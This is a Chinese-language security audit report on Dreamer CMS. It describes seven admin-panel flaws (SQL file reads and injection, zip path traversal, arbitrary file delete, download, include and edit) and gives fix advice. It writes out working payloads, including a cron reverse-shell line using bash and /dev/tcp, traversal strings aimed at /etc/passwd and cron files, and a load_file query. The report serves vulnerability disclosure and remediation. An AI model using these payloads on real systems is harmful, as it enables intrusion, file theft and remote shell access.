Dreamer CMS 代码审计
字数 2111 2025-08-06 12:20:41

Dreamer CMS 代码审计报告

0x00 审计概述

本报告详细分析了Dreamer CMS系统中存在的多个安全漏洞,包括SQL注入、文件操作漏洞、目录穿越漏洞等,这些漏洞可能导致敏感信息泄露、任意文件操作甚至服务器权限获取。

0x01 环境搭建

  • 测试环境:Docker + MySQL
  • 系统版本:Dreamer CMS最新开发版
  • MySQL版本:8.0.11+

0x02 漏洞详情

1. 后台设置栏目存在任意文件读取漏洞

漏洞效果

  • 通过SQL语句SELECT CONVERT(load_file('/var/lib/mysql-files/test1.txt') USING utf8)读取服务器文件
  • 可读取MySQL有权限访问的任何文件

漏洞定位

  • src/main/resources/mapping/SqlMapper.xml文件直接执行传入的SQL语句
  • 无过滤、无预编译,但限制不能多行执行(除非添加allowMultiQueries=true参数)

2. 后台模板标签存在SQL注入

漏洞效果

  • 通过src/main/java/cc/iteachyou/cms/taglib/tags/SqlTag.java执行任意SELECT查询
  • 可获取数据库所有表数据

漏洞定位

  • 仅校验SQL语句开头必须为select,无其他过滤
  • 可执行任意SELECT查询语句

3. 后台压缩校验不正确导致Getshell

漏洞效果

  1. 创建恶意文件名:..\*..\*..\*..\*..\*..\*..\*..\*..\*..\*var\*spool\*cron\*root
  2. 写入计划任务:echo "*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/7777 0>&1" > 恶意文件名
  3. 打包为ZIP并通过风格管理上传
  4. 成功写入计划任务并获取服务器权限

漏洞定位

  • src/main/java/cc/iteachyou/cms/utils/ZipUtils.java
    • 仅校验../未校验..\
    • *替换为/导致目录穿越
  • src/main/java/cc/iteachyou/cms/controller/admin/ThemesController.java
    • 解压逻辑存在缺陷

4. 后台附件管理处任意文件删除

漏洞效果

  1. 上传文件并抓包修改filepath../../../../../../../var/www/dreamer-cms/backups/2023-03-14/2023-03-14_system_user.sql
  2. 确认后可删除服务器上任意文件

漏洞定位

  • src/main/java/cc/iteachyou/cms/controller/admin/AttachmentController.java
    • 直接拼接文件路径,无过滤

5. 后台附件管理处任意文件下载

漏洞效果

  1. 上传文件并抓包修改filepath../../../../../../etc/passwd
  2. 可下载服务器敏感文件

漏洞定位

  • 同任意文件删除漏洞,同一处代码逻辑问题

6. 后台模板标签存在任意文件包含

漏洞效果

  • 修改模板文件添加:{dreamer-cms:include file='../../../../../../../../../../../../etc/passwd'/}
  • 访问页面可包含任意文件内容

漏洞定位

  • src/main/java/cc/iteachyou/cms/taglib/tags/IncludeTag.java
    • 仅判断文件是否为空,无目录穿越校验

7. 后台模板管理任意编辑导致GetShell

漏洞效果

  1. 复制默认主题并修改theme.json中的themePath../../../../../../../../../../../../../
  2. 打包上传并启用主题
  3. 在模板管理界面可编辑服务器上任意文件

漏洞定位

  • src/main/java/cc/iteachyou/cms/controller/admin/ThemesController.java
    • themePath校验不严
  • src/main/java/cc/iteachyou/cms/controller/admin/TemplateController.java
    • getCanonicalPath校验可被绕过

0x03 修复建议

  1. SQL注入

    • 使用预编译语句
    • 严格过滤输入参数
  2. 文件操作漏洞

    • 规范化路径处理
    • 增加严格的白名单校验
    • 修复..\.\./等绕过方式
  3. 权限控制

    • 限制文件操作目录
    • 实施最小权限原则
  4. 输入校验

    • 对所有用户输入进行严格过滤
    • 实现服务端校验

0x04 总结

Dreamer CMS存在多处严重安全漏洞,攻击者可利用这些漏洞获取服务器敏感信息、修改系统文件甚至获取服务器控制权限。建议开发者参考本报告中的修复建议进行全面安全加固。

Dreamer CMS 代码审计报告 0x00 审计概述 本报告详细分析了Dreamer CMS系统中存在的多个安全漏洞,包括SQL注入、文件操作漏洞、目录穿越漏洞等,这些漏洞可能导致敏感信息泄露、任意文件操作甚至服务器权限获取。 0x01 环境搭建 测试环境:Docker + MySQL 系统版本:Dreamer CMS最新开发版 MySQL版本:8.0.11+ 0x02 漏洞详情 1. 后台设置栏目存在任意文件读取漏洞 漏洞效果 : 通过SQL语句 SELECT CONVERT(load_file('/var/lib/mysql-files/test1.txt') USING utf8) 读取服务器文件 可读取MySQL有权限访问的任何文件 漏洞定位 : src/main/resources/mapping/SqlMapper.xml 文件直接执行传入的SQL语句 无过滤、无预编译,但限制不能多行执行(除非添加 allowMultiQueries=true 参数) 2. 后台模板标签存在SQL注入 漏洞效果 : 通过 src/main/java/cc/iteachyou/cms/taglib/tags/SqlTag.java 执行任意SELECT查询 可获取数据库所有表数据 漏洞定位 : 仅校验SQL语句开头必须为 select ,无其他过滤 可执行任意SELECT查询语句 3. 后台压缩校验不正确导致Getshell 漏洞效果 : 创建恶意文件名: ..\*..\*..\*..\*..\*..\*..\*..\*..\*..\*var\*spool\*cron\*root 写入计划任务: echo "*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/7777 0>&1" > 恶意文件名 打包为ZIP并通过风格管理上传 成功写入计划任务并获取服务器权限 漏洞定位 : src/main/java/cc/iteachyou/cms/utils/ZipUtils.java : 仅校验 ../ 未校验 ..\ 将 * 替换为 / 导致目录穿越 src/main/java/cc/iteachyou/cms/controller/admin/ThemesController.java : 解压逻辑存在缺陷 4. 后台附件管理处任意文件删除 漏洞效果 : 上传文件并抓包修改 filepath 为 ../../../../../../../var/www/dreamer-cms/backups/2023-03-14/2023-03-14_system_user.sql 确认后可删除服务器上任意文件 漏洞定位 : src/main/java/cc/iteachyou/cms/controller/admin/AttachmentController.java : 直接拼接文件路径,无过滤 5. 后台附件管理处任意文件下载 漏洞效果 : 上传文件并抓包修改 filepath 为 ../../../../../../etc/passwd 可下载服务器敏感文件 漏洞定位 : 同任意文件删除漏洞,同一处代码逻辑问题 6. 后台模板标签存在任意文件包含 漏洞效果 : 修改模板文件添加: {dreamer-cms:include file='../../../../../../../../../../../../etc/passwd'/} 访问页面可包含任意文件内容 漏洞定位 : src/main/java/cc/iteachyou/cms/taglib/tags/IncludeTag.java : 仅判断文件是否为空,无目录穿越校验 7. 后台模板管理任意编辑导致GetShell 漏洞效果 : 复制默认主题并修改 theme.json 中的 themePath 为 ../../../../../../../../../../../../../ 打包上传并启用主题 在模板管理界面可编辑服务器上任意文件 漏洞定位 : src/main/java/cc/iteachyou/cms/controller/admin/ThemesController.java : 对 themePath 校验不严 src/main/java/cc/iteachyou/cms/controller/admin/TemplateController.java : getCanonicalPath 校验可被绕过 0x03 修复建议 SQL注入 : 使用预编译语句 严格过滤输入参数 文件操作漏洞 : 规范化路径处理 增加严格的白名单校验 修复 ..\ 和 .\./ 等绕过方式 权限控制 : 限制文件操作目录 实施最小权限原则 输入校验 : 对所有用户输入进行严格过滤 实现服务端校验 0x04 总结 Dreamer CMS存在多处严重安全漏洞,攻击者可利用这些漏洞获取服务器敏感信息、修改系统文件甚至获取服务器控制权限。建议开发者参考本报告中的修复建议进行全面安全加固。